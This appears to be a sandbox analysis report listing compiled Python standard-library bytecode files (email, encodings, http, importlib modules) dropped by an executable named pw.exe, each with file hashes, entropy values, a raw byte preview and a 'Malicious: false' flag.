Preview:	o.........Sg.'.......................@...sF...d.Z.g.d...Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.Z.d.Z.d.Z.d.d...e.d...D...Z.e.d.d.....Z.e.d.d.....Z.d.e...d.....e...d.....D.].Z.e.e...e.e.<.q;d.e.e.d...<.d.D.].Z.e.e...e.e.<.qLd.d...Z.d.d...Z.d.d...Z.d.d...Z.d+d.d...Z.d.d...Z.d.d...Z.d,d.d ..Z.e.d.d.....Z.d!D.].Z.e.e...e.e.<.q.d"e.f.d#d$..Z.e.f.d%d&..Z.e.Z.e.Z.d'd(..Z.d)d*..Z d.S.)-aF...Quoted-printable content transfer encoding per RFCs 2045-2047...This module handles the content transfer encoding method defined in RFC 2045.to encode US ASCII-like 8-bit data called `quoted-printable'. It is used to.safely encode text that is in a character set similar to the 7-bit US ASCII.character set, but that includes some 8-bit characters that are normally not.allowed in email bodies or headers...Quoted-printable is very space-inefficient for encoding binary files; use the.email.base64mime module for that instead...This module provides an interface to encode and decode both headers and bodies.with quoted-p

C:\recover\pw\lib\email\pycache\utils.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	9684
Entropy (8bit):	5.522717405507971
Encrypted:	false
SSDEEP:	192:Wbd42opYU1b0vS5Tc8PNMw1TBXUERUZXDu4G1Z0cLPMQCSStw3TG/3yp4b/cF:lpyv+FSwNBXUE+XDu4MxPjGyG5/s
MD5:	0E0E9A8D73EBB05358844130E8ED3C71
SHA1:	DA7ED716C17C67288D619C490065FDD762FF3781
SHA-256:	36DA925593476412C62F676B176DDEA29BD61B544938EBAD5A6723C68078FBD2
SHA-512:	C40B1C44AE135AADC4C6CAC6F4F78F402B5C5805CA12D777A258FE91D06F4DA7778F542D2C7AEF9671BB3F09847AF6222D1EA63BAA93E8417F9153332DF0C3F6
Malicious:	false
Preview:	o.........Sg.5.......................@...sT...d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.Z.d.Z.d.Z.d.Z.d.Z.e...d...Z.e...d...Z.d.d...Z.d.d...Z.d5d.d...Z.d.d...Z.d.d...Z d6d.d...Z!d7d.d...Z"d8d.d ..Z#d!d"..Z$d#d$..Z%d%d&..Z&d'd(..Z'd8d)d..Z(e...d+e.j)..Zd,d-..Z+.../d9d0d1..Z,d:d3d4..Z-d.S.);z.Miscellaneous utilities.)...collapse_rfc2231_value..decode_params..decode_rfc2231..encode_rfc2231..formataddr..formatdate..format_datetime..getaddresses..make_msgid..mktime_tz..parseaddr..parsedate..parsedate_tz..parsedate_to_datetime..unquote.....N)...quote)...AddressList).r....).r....r......_parsedate_tz)...Charsetz., ..z.....'z.[][\\()<>@,:;".]z.[\\"]c....................C...s$...z.\|.......W.d.S...t.y.......Y.d.S.w.).z8Return True if s contains surrogate-escaped binary data.FT)...encode..UnicodeEncodeError)...s..r..... C:\recover\pw\lib\email\utils.py.._has_surrogates3...s................r....c......

C:\recover\pw\lib\encodings\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3873
Entropy (8bit):	5.519151258476981
Encrypted:	false
SSDEEP:	96:ZXLHIYGspF3e06Q0YhQMUjHz/6k1XYLKM/n5K7wlNUNYfq3JZ1Y:ZXEYLpFkYNU7XYLf5c6+X1Y
MD5:	A662B696FF9A63644F40E31071FA0007
SHA1:	07198E4DAF89D42943256F46290167DA3EAA15E4
SHA-256:	75E9395D848256C103DD7664D0313F7D10CE8D9EDC96A5B9C688FECA7A632C9F
SHA-512:	078D3CEE0722B31B1CDCCCCFA439DEE0BE92B96F71B44A2957C526BE2693E94236107943EA58D61376038671F027EF02D53241FAC4C15D3EC23DA02C8D5CAAF7
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...i.Z.d.Z.d.g.Z.e.j.Z.G.d.d...d.e.e...Z.d.d...Z.d.d...Z.e...e.....e.j.d.k.r@d.d...Z.e...e.....d.S.d.S.).a2... Standard "encodings" Package.. Standard Python encoding modules are stored in this package. directory... Codec modules must have names corresponding to normalized encoding. names as defined in the normalize_encoding() function below, e.g.. 'utf-8' must be implemented by the module 'utf_8.py'... Each codec module must export the following interface:.. * getregentry() -> codecs.CodecInfo object. The getregentry() API must return a CodecInfo object with encoder, decoder,. incrementalencoder, incrementaldecoder, streamwriter and streamreader. attributes which adhere to the Python Codec Interface Standard... In addition, a module may optionally also define the following. APIs which are then used by the package's codec search function:.. * getaliases() -> sequence of enc

C:\recover\pw\lib\encodings\pycache\aliases.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10919
Entropy (8bit):	5.8402357395691675
Encrypted:	false
SSDEEP:	192:ZX2eNkBweGfGkueK4+I2Zyu6UtXqxUZH1iozxOkq4bpehh3qkyR0N:ZXG0bueBI6qzx9IX6Ri
MD5:	63FC5FE1AAEEE319F619B720743F9529
SHA1:	8D709639098F5DCA30193091962FF57C4D658260
SHA-256:	F8666991E317BD575D56E7CFAC1698F67081AB004B54B303275AC2C6BF0F127C
SHA-512:	ABA2B315DFA0B604BA37079B99D6A7CD6EAA7BB3616F6D1634A663E0D79F3C29627455AB19EEB6312F4B492E5C3888C2B37B1D0DCB87815AA0CA77E1140FF939
Malicious:	false
Preview:	o.........Sgd?.......................@...s....d.Z.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d d...d!d...d"d#..d$d#..d%d#..d&d'..d(d'..d)d'..d*d'....i.d+d,..d-d,..d.d/..d0d/..d1d2..d3d2..d4d5..d6d5..d7d8..d9d8..d:d;..d<d;..d=d>..d?d>..d@dA..dBdA..dCdD....i.dEdD..dFdG..dHdG..dIdJ..dKdJ..dLdJ..dMdN..dOdN..dPdN..dQdN..dRdS..dTdS..dUdS..dVdW..dXdW..dYdW..dZdW....i.d[dW..d\d]..d^d]..d_d]..d`da..dbda..dcda..ddde..dfde..dgde..dhdi..djdi..dkdi..dldm..dndm..dodm..dpdq....i.drdq..dsdq..dtdu..dvdu..dwdu..dxdy..dzdy..d{dy..d\|dy..d}d~..d.d~..d.d~..d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d..d.d..d.d..d.d..d.d..

C:\recover\pw\lib\encodings\pycache\cp1252.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2375
Entropy (8bit):	5.413742938152874
Encrypted:	false
SSDEEP:	48:6HYqr1EXGxtCOJxDvTk3J9rBDfLTTLTDfLTTp6HbDHT:6HY0EXWtZjr+Jldf33Pf396nz
MD5:	919F8F9A8A24B5CC526D75260C8FC6E2
SHA1:	3D31357A2453C09DF24B763EA312F6E943D34703
SHA-256:	7B60FED326FFC02E044E83A6EB93529B060906454F663001FC10B190659BA01D
SHA-512:	889562C3C467F6C721E4ACD502B0E8781FFC1ED1F3F55F0186C65DE72B38B252C55CEAED31557F8973EFB28E2C3B924FF767E6D681572392491FDBA4F9974702
Malicious:	false
Preview:	o.........Sg.5.......................@...s....d.Z.d.d.l.Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.e.j...Z.G.d.d...d.e.e.j...Z.d.d...Z.d.Z.e...e...Z.d.S.).zv Python Character Mapping Codec cp1252 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1252.TXT' with gencodec.py........Nc....................@...s ...e.Z.d.Z.d.d.d...Z.d.d.d...Z.d.S.)...Codec..strictc....................C........t...\|.\|.t...S...N)...codecs..charmap_encode..encoding_table....self..input..errors..r.....%C:\recover\pw\lib\encodings\cp1252.py..encode...........z.Codec.encodec....................C...r....r....).r......charmap_decode..decoding_tabler....r....r....r......decode....r....z.Codec.decodeN).r....)...__name__..__module__..__qualname__r....r....r....r....r....r....r........s..........r....c....................@........e.Z.d.Z.d.d.d...Z.d.S.)...IncrementalEncoderFc....................C........t...\|.\|.j.t...d...S...Nr....).r....r....r....r......r....r......finalr....r....r....r........

C:\recover\pw\lib\encodings\pycache\idna.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5597
Entropy (8bit):	5.221364516151732
Encrypted:	false
SSDEEP:	96:ZD5DoZ0Mq9d9y50Om16wQNWLT1arA5fCAFK5n4NcJwp7ogXdB:tFoZ0n9d92Dm1rQNWL8s5aZocJwpJNB
MD5:	E4B6C743734CC3799F151C08A68BF0A9
SHA1:	928FD2F1DF7130DC5C1F6F09CB74510C006FC092
SHA-256:	596D2706976244789C45AF61A98714D771C39E5BD1708DA5BE4CA3714DEF5839
SHA-512:	38D5B77EF8E2077F10BB925E9D9335CB31A3B39D9CFEE9C4471E668ECF621392181D86FE15140A93190997E062675F6F548EADC7432B0FC0DAC2E56F0200A8D3
Malicious:	false
Preview:	o.........Sg.$.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e...d...Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.e.j...Z.G.d.d...d.e.e.j...Z.d.d...Z.d.S.)......N)...ucd_3_2_0u....[....]s....xn--z.xn--c....................C...s....g.}.\|.D.].}.t...\|...r.q.\|...t...\|.......q.d...\|...}.t...d.\|...}.\|.D.]5}.t...\|...sQt...\|...sQt...\|...sQt...\|...sQt...\|...sQt...\|...sQt...\|...sQt...\|...sQt...\|...rWt.d.\|.......q"d.d...\|.D...}.t.\|...r\|t.d.d...\|.D.....rpt.d.....\|.d...rx\|.d...s\|t.d.....\|.S.).N....NFKCz.Invalid character %rc....................S...s....g.\|.].}.t...\|.....q.S...)...stringprepZ.in_table_d1.....0..xr....r.....#C:\recover\pw\lib\encodings\idna.py..<listcomp>)...s......z.nameprep.<locals>.<listcomp>c....................s...s......\|.].}.t...\|...V...q.d.S.).N).r....Z.in_table_d2r....r....r....r......<genexpr>1...s........z.nameprep.<locals>.<genexpr>z.Violation of BIDI requirement 2r.........z.Violation of BI

C:\recover\pw\lib\encodings\pycache\utf_8.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1595
Entropy (8bit):	4.681394531971686
Encrypted:	false
SSDEEP:	48:YVtus1pipKBHUrYPyaGcLXaLOsJkLBBn1U:YbuWDHUPNcLXaasmP1U
MD5:	3C31ACCB090AB69829C999787809216C
SHA1:	3B59BBB7B47C876FFFCEE1C7F3FD44EE9350D9E7
SHA-256:	BDE177F72F7C7CBD2AB7C313AC8E5F36DF34ECFE608479586C824F3B9E726580
SHA-512:	874353FD20B836DE5E97FFABBDDE1DFB747EA61E101BB2E6073883D76C0F3B1C5064FF2F76D45BA59A9D0ABD5B71CF502ED4386FF154F20734A63775663BEB95
Malicious:	false
Preview:	o.........Sg.........................@...sp...d.Z.d.d.l.Z.e.j.Z.d.d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.d...Z.d.S.).z. Python 'utf-8' Codec...Written by Marc-Andre Lemburg (mal@lemburg.com)...(c) Copyright CNRI, All Rights Reserved. NO WARRANTY........N..strictc....................C...s....t...\|.\|.d...S.).NT)...codecs..utf_8_decode)...input..errors..r.....$C:\recover\pw\lib\encodings\utf_8.py..decode....s......r....c....................@...s....e.Z.d.Z.d.d.d...Z.d.S.)...IncrementalEncoderFc....................C...s....t...\|.\|.j...d...S.).Nr....).r......utf_8_encoder....)...selfr......finalr....r....r......encode....s......z.IncrementalEncoder.encodeN).F)...__name__..__module__..__qualname__r....r....r....r....r....r........s........r....c....................@........e.Z.d.Z.e.j.Z.d.S.)...IncrementalDecoderN).r....r....r....r....r......_buffer_decoder....r....r....r....r.................r....c....................@...r....)...StreamWriterN).r..

C:\recover\pw\lib\http\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6414
Entropy (8bit):	5.799724105456035
Encrypted:	false
SSDEEP:	192:0WZsdAzD4kaBaNzpZOZBDcxHN/8O2OHb4k7:0SdzpZOZBDcpNp2iT
MD5:	A836EB3F2EB323CCC4417BD2D0255252
SHA1:	F327952AFFF0072C41916F6B778B2D0779E492C9
SHA-256:	CF502B529107DDA69A89409C125DBEF8DF96A46CF3374B471F27192F284BC515
SHA-512:	EBC00D9D671067A00372DB0AB7ECD7BE74A1B347456BF17DCCF29C333199E6C088B41BD782356C870D8F8B8DE058F456A0034163325CE1C94FD292B9B9DD730F
Malicious:	false
Preview:	o.........Sg.........................@...s&...d.d.l.m.Z...d.g.Z.G.d.d...d.e...Z.d.S.)......)...IntEnum..HTTPStatusc....................@...s....e.Z.d.Z.d.Z.dDd.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d Z d!Z!d"Z"d#Z#d$Z$d%Z%d&Z&d'Z'd(Z(d)Z)dZd+Z+d,Z,d-Z-d.Z.d/Z/d0Z0d1Z1d2Z2d3Z3d4Z4d5Z5d6Z6d7Z7d8Z8d9Z9d:Z:d;Z;d<Z<d=Z=d>Z>d?Z?d@Z@dAZAdBZBdCS.)Er....aG...HTTP status codes and reason phrases.. Status codes from the following RFCs are all observed:.. * RFC 7231: Hypertext Transfer Protocol (HTTP/1.1), obsoletes 2616. * RFC 6585: Additional HTTP Status Codes. * RFC 3229: Delta encoding in HTTP. * RFC 4918: HTTP Extensions for WebDAV, obsoletes 2518. * RFC 5842: Binding Extensions to WebDAV. * RFC 7238: Permanent Redirect. * RFC 2295: Transparent Content Negotiation in HTTP. * RFC 2774: An HTTP Extension Framework. * RFC 7725: An HTTP Status Code to Rep

C:\recover\pw\lib\http\pycache\client.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	35176
Entropy (8bit):	5.379876718040708
Encrypted:	false
SSDEEP:	768:PeoG3XXZgYF9Ky6sCgfIxKA6IHpI/AYkYezN9/8yUKWsdh:PZG35gYF9Ky6sCgfIxKA6IHpaAqezN99
MD5:	FAE9A06418839D0492F7F15D298D6778
SHA1:	01245293CED1733E54958153A9E6389883EB91CA
SHA-256:	DCAD93B2ADC1136650FD71DB62D135E22A24AF6A88575311868F45F58A9D34BC
SHA-512:	AD5739404C5987F80DB56D8BDBF389F2D1460C86025F626C2A8A24E37F8011E7C8005DCE0E35065182A55CAF1BEE77EC3BE20581DF77459263199B5CB28F5FE4
Malicious:	false
Preview:	o.........Sg.........................@...sP...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.....e.j.j.....d.d...e.j.j.....D...Z.d.Z.d.Z.e...d...j.Z.e...d...j Z!e...d...Z"e...d...Z#h.d...Z$d?d.d...Z%G.d.d...d.e.j&j'..Z(d.d...Z)e(f.d.d...ZG.d.d...d.e.j+..Z,G.d.d ..d ..Z-z.d.d.l.Z.W.n...e/y.......Y.n.w.G.d!d"..d"e-..Z0e..1d"....G.d#d$..d$e2..Z3G.d%d&..d&e3..Z4G.d'd(..d(e3..Z5G.d)d..d*e3..Z6G.d+d,..d,e3..Z7G.d-d...d.e3..Z8G.d/d0..d0e3..Z9G.d1d2..d2e3..Z:G.d3d4..d4e:..Z;G.d5d6..d6e:..Z<G.d7d8..d8e:..Z=G.d9d:..d:e3..Z>G.d;d<..d<e3..Z?G.d=d>..d>e@e>..ZAe3ZBd.S.)@a....HTTP/1.1 client library..<intro stuff goes here>.<other stuff, too>..HTTPConnection goes through a number of "states", which define when a client.may legally make another request or fetch the response for a particular.request. This diagram details these state transitions:.. (null). \|. \| HTTPConnection(). v. Idle. \|. \| putr

C:\recover\pw\lib\http\pycache\cookiejar.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	53438
Entropy (8bit):	5.560548571995544
Encrypted:	false
SSDEEP:	768:PBF5TRGXx0wM1oyXc63+dpUTXcc5he57HfAqZ8K20oERqRGwFkEu58kvknKdVWV6:VAI1FXZ+bUQ8hlER6dg6hMT
MD5:	32B7CA36E0C9070F9879846025307E95
SHA1:	BCC599E594D364F526E666659C5EFD86A8DE1D9C
SHA-256:	0ED82A54E5D151E2576E085F041DCFC063F352CEC09CF5EFC2F04AFD1B228D68
SHA-512:	97647F854E31C130CF4DBE972DA66A466DB88746F578EC33A9E194DF2FBBC78B114EFB62277A4EF316D085744ABF9873309B1D14515327FD02526E4333990072
Malicious:	false
Preview:	o.........Sg.6.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.Z.d.a.d.d...Z.d.Z.d.Z.e.e.j.j...Z.e...d...Z.d.Z.d.Z.d.d...Z.d.Z.d.d...Z.g.d...Z g.d...Z!g.Z"e!D.].Z#e".$e#.%......qadid.d...Z&did.d...Z'd.d.d.d.d...Z(e...d.e.j)..Zd.d...Z+d.d...Z,e...d.e.j)..Z-e...d.e.j.e.j)B...Z/e...d e.j0e.j)B...Z1d!d"..Z2e...d#e.j0e.j)B...Z3d$d%..Z4d&d'..Z5e...d(..Z6e...d)..Z7e...d..Z8e...d+..Z9d,d-..Z:e...d...Z;d/d0..Z<d1d2..Z=d3d4..Z>e...d5e.j)..Z?d6d7..Z@d8d9..ZAd:d;..ZBd<d=..ZCe...d>e.j)..ZDd?d@..ZEdAdB..ZFdCdD..ZGdEdF..ZHdGZIe...dH..ZJdIdJ..ZKdKdL..ZLdMdN..ZMdOdP..ZNG.dQdR..dR..ZOG.dSdT..dT..ZPG.dUdV..dVeP..ZQdWdX..ZRdYdZ..ZSG.d[d\..d\..ZTG.d]d^..d^..ZUG.d_d`..d`eV..ZWG.dadb..dbeU..ZXdcdd..ZYG.dedf..dfeX..ZZG.dgdh..dheX..Z[d.S.)ja....HTTP cookie handling for web clients...This module has (now fairly distant) origins in Gisle Aas' Perl module.HTTP::Cookies, from the libwww-perl library...Docstrings, comments and debug

C:\recover\pw\lib\http\pycache\cookies.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	15336
Entropy (8bit):	5.444331963864069
Encrypted:	false
SSDEEP:	384:K66ZJt/SHD+IfhNGV10wqP+6JdMYFGBCeA4Gm0Ir7bDQs61vwOQY2jxP+Qh3lL44:ZWJtS+Ifh8D0wqP+6JdMYsBrA4GmzfbX
MD5:	DECAB786AC135F2411ABF82C226DCD8C
SHA1:	B49EAF52DF77323B415FC032FBD6E0C16CC64390
SHA-256:	497E468F580E952B92E37F309E65E0A14FA76B2D51E98A3BCC14755510DA4F2B
SHA-512:	6A088B287C4869E100E3E1FA097BF096298CD3E2205F0299EE7A0F9ABDACC0FC46F4CCE8B9682E6446F5DDDC3C4B1D9222A615401A71CF1A30BB73232D40AEE3
Malicious:	false
Preview:	o.........SgfR.......................@...sZ...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.j.Z.d.j.Z.d.j.Z.G.d.d...d.e...Z.e.j.e.j...d...Z.e.d...Z.d.d...e.e.d.....e.e.e.e.......D...Z.e...e.d...d.e.d...d.i.....e...d.e...e.......j.Z.d.d...Z.e...d...Z.e...d...Z.d.d...Z.g.d...Z.g.d...Z.d.e.e.f.d.d...Z.G.d.d...d.e ..Z!d.Z"e"d ..Z#e...d!e"..d"..e#..d#..e.j$e.j%B...Z&G.d$d%..d%e ..Z'G.d&d'..d'e'..Z(d.S.)(a.....Here's a sample session to show how to use this module..At the moment, this is the only documentation...The Basics.----------..Importing is easy..... >>> from http import cookies..Most of the time you start by creating a cookie... >>> C = cookies.SimpleCookie()..Once you've created your Cookie, you can add values just as if it were.a dictionary... >>> C = cookies.SimpleCookie(). >>> C["fig"] = "newton". >>> C["sugar"] = "wafer". >>> C.output(). 'Set-Cookie: fig=newton\r\nSet-Cookie: sugar=wafer'..Notice that the printable representation of a Cookie is the.appropriate format for a

C:\recover\pw\lib\importlib\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3803
Entropy (8bit):	5.530238628069794
Encrypted:	false
SSDEEP:	96:yuKEn4Gs1xwkB8/pIXEz66QncxK1p9W0j+VZzmF2Q8yIcOr:YEkKoMK1a0j+DmF2QZIh
MD5:	16AA507AF7331C1FDE3B0881D65D2614
SHA1:	9B76DD2C8A1950296BC739650230F08AFBD0CE53
SHA-256:	CE033BA77461C25E376504935DAAFFA3F51372B60F75E799EEF116FFC3F1E35B
SHA-512:	5828EB95F1B9C28B758E4DACD25A7849363D170F1085BDA1464FD2FB35630B8D9ED33C4AC6C52EC763BD7080A042882A830A80BB7452EC9BD94615BED588CB0E
Malicious:	false
Preview:	o.........Sgy........................@...sT...d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y)......d.d.l.m.Z...e...e.e.....Y.n.w.d.e._.d.e._.z.e...d.d...e._.W.n...e.yB......Y.n.w.e.e.j.d.<.z.d.d.l.Z.W.n...e.ye......d.d.l.m.Z...e...e.....e.e._.Y.n.w.d.e._.d.e._.z.e...d.d...e._.W.n...e.y~......Y.n.w.e.e.j.d.<.e.j.Z.e.j.Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.d.d.d...Z.d.d.d...Z.i.Z.d.d...Z.d.S.).z'A pure Python implementation of import.)...__import__..import_module..invalidate_caches..reload.....N.....)..._bootstrapz.importlib._bootstrap..importlibz.__init__.pyz._bootstrap.py)..._bootstrap_externalz.importlib._bootstrap_externalz._bootstrap_external.py).r....c....................C...s"...t.j.D.].}.t.\|.d...r.\|.......q.d.S.).zmCall the invalidate_caches() method on all meta path finders stored in. sys.meta_path (where implemented).r....N)...sys..meta_path..hasattrr....)...finder..r.....'C:\recover\pw\lib\importlib\__init__.pyr....A...s..............r....c....................C...s....t.j.d.t.d.d.

C:\recover\pw\lib\importlib\pycache\_abc.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	5.000038893258872
Encrypted:	false
SSDEEP:	48:bGYO7KXEXsuXrqj9FXHRLSVRibTAsKhnsRyy:prEXhXrqhFXHPTbIsZ
MD5:	D7A6C0BC5C5CA0DE141AB685BB235405
SHA1:	722D77F10299F16B7C72687FEAA46B5E148DE17A
SHA-256:	9332B2F9F8FAE364CED09383ECB0748AC86EB7B1894EE1D8C84A25A20EF1A88E
SHA-512:	CB7C33E90371D0D2AD3258E48B697367A3E8C9AF244BCA7B13FB4C6D64A215DE71BE31427037015FA6588680DCC73A81850BE7EF74C13D240DA1E8CF8CEF3A18
Malicious:	false
Preview:	o.........Sgr........................@...s8...d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.G.d.d...d.e.j.d...Z.d.S.).z>Subset of importlib.abc used to reduce importlib.util imports......)..._bootstrap.....Nc....................@...s(...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...Loaderz'Abstract base class for import loaders.c....................C...s....d.S.).z.Return a module to initialize and into which to load... This method should raise ImportError if anything prevents it. from creating a new module. It may return None to indicate. that the spec should create the new module.. N..)...self..specr....r.....#C:\recover\pw\lib\importlib\_abc.py..create_module....s......z.Loader.create_modulec....................C...s....t.\|.d...s.t...t...\|.\|...S.).a....Return the loaded module... The module must be added to sys.modules and have import-related. attributes set properly. The fullname is a str... ImportError is raised on failure... This method i

C:\recover\pw\lib\importlib\pycache\_adapters.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3701
Entropy (8bit):	4.6464039037898015
Encrypted:	false
SSDEEP:	96:bdiphyWa11p/5cIBqNU79FhTEnKIgVFKOmuD79VsUKyO9WoK/UML9Qa:OhyWGfxxB99FhkKIgDKONrsUK39WoK/L
MD5:	987B37C24E1C8BB61EECCE2ECB49DF9A
SHA1:	082B17B50BB8759393F5D81EAEA0782CE12A8E60
SHA-256:	49F17692F731872C2039B6ECC64979A27EBA0FA7268A355A580838850C71C3BC
SHA-512:	6EF78EFD51C6B745D9674851F5C6BE7E96B30AD013BFBF96095262D6D79280180E6F21BB173CBF66B2CAE598057C5DD2075F4C769B65254948E23996D07E243D
Malicious:	false
Preview:	o.........Sg.........................@...sN...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d...Z.G.d.d...d...Z.G.d.d...d...Z.d.d...Z.d.S.)......)...suppress.....)...abcc....................@...s(...e.Z.d.Z.d.Z.d.d...f.d.d...Z.d.d...Z.d.S.)...SpecLoaderAdapterz>. Adapt a package spec to adapt the underlying loader.. c....................C...s....\|.j.S...N)...loader....spec..r.....(C:\recover\pw\lib\importlib\_adapters.py..<lambda>....s......z.SpecLoaderAdapter.<lambda>c....................C...s....\|.\|._.\|.\|...\|._.d.S.r....).r....r....)...selfr....Z.adapterr....r....r......__init__....s........z.SpecLoaderAdapter.__init__c....................C........t.\|.j.\|...S.r....)...getattrr......r......namer....r....r......__getattr__...........z.SpecLoaderAdapter.__getattr__N)...__name__..__module__..__qualname__..__doc__r....r....r....r....r....r....r........s............r....c....................@...s ...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.)...TraversableResourcesLoaderz9. Adapt a loader to provide Trav

C:\recover\pw\lib\importlib\pycache\_common.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2965
Entropy (8bit):	5.17969469672821
Encrypted:	false
SSDEEP:	48:kfiZ38jH+kP4PY+InYalBABDu0ZLmJ2SOoHft3XlY2s03f/mm2vJviUeXrowab:kfipsH3AiYali7ZL7dillY2s033mm2vX
MD5:	AA95C930EA74031CE914C2042277FC63
SHA1:	40AFC44812780B7D5BE167121154FE5C2512AB1E
SHA-256:	7EB1A6DF196B6B3700DFFA6B9F7C906EC006C5A643F7A2A43586286D1652B8AC
SHA-512:	88FBDC87FDFAD8594E1718B1F2A470D29D02756AB2E346F087257296E7FB77679A4FFB33931F8708469D0ABA5D5C46AECB4ABFC54EE5812A3AAAE74861256399
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...e.e.j.e.f...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.d.e.j.d...d.d.....Z.e.j.d.d.....Z.e...e.j...e.j.d.d.......Z d.S.)......N)...Union..Any..Optional.....)...ResourceReader..Traversable)...wrap_specc....................C...s....t.t.\|.....S.).z3. Get a Traversable resource from a package. )...from_package..get_package)...package..r.....&C:\recover\pw\lib\importlib\_common.py..files....s......r....c....................C...s....t.\|...}.t.j...\|...\.}.}.\|.r.t.\|...d.......\|.S.).z.Normalize a path by ensuring it is a string... If the resulting string contains path separators, an exception is raised.. z. must be only a file name)...str..os..path..split..ValueError).r....Z.str_path..parent..file_namer....r....r......normalize_path....s..............r....c....................C...s*...\|.j.}.t.\|.j.d.d...}.\|.d.u.r.d.S.\|.\|.j...

C:\recover\pw\lib\importlib\pycache\abc.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	15889
Entropy (8bit):	5.104167956647122
Encrypted:	false
SSDEEP:	192:1zLB5HGaViuYo8vEVbFCibM/50LbCb1EVMXS6O9PzXDPJ8OoEAuDdPTaX/DOWP6s:1zDVnR8gC/50LbjVMA9PrWCDaX/P6s
MD5:	5B77E698F693C91450F4C325F6C456CD
SHA1:	DEB16AEFA06C987A5A6B7AFABECB6D7BAD23CA78
SHA-256:	9A8E6A4C965FC3BB16FDA435E42B3F03EE24783CE92AF69351E0380B9DC1FCB7
SHA-512:	3462AAF7447D203488AA12DD60DC39F295841E30E0E3945A7FBF2463D125C0A40EFD5C38CCBC39401B1A6E0C0A391DFD69F1741556876565B50AF52FDADCBAAC
Malicious:	false
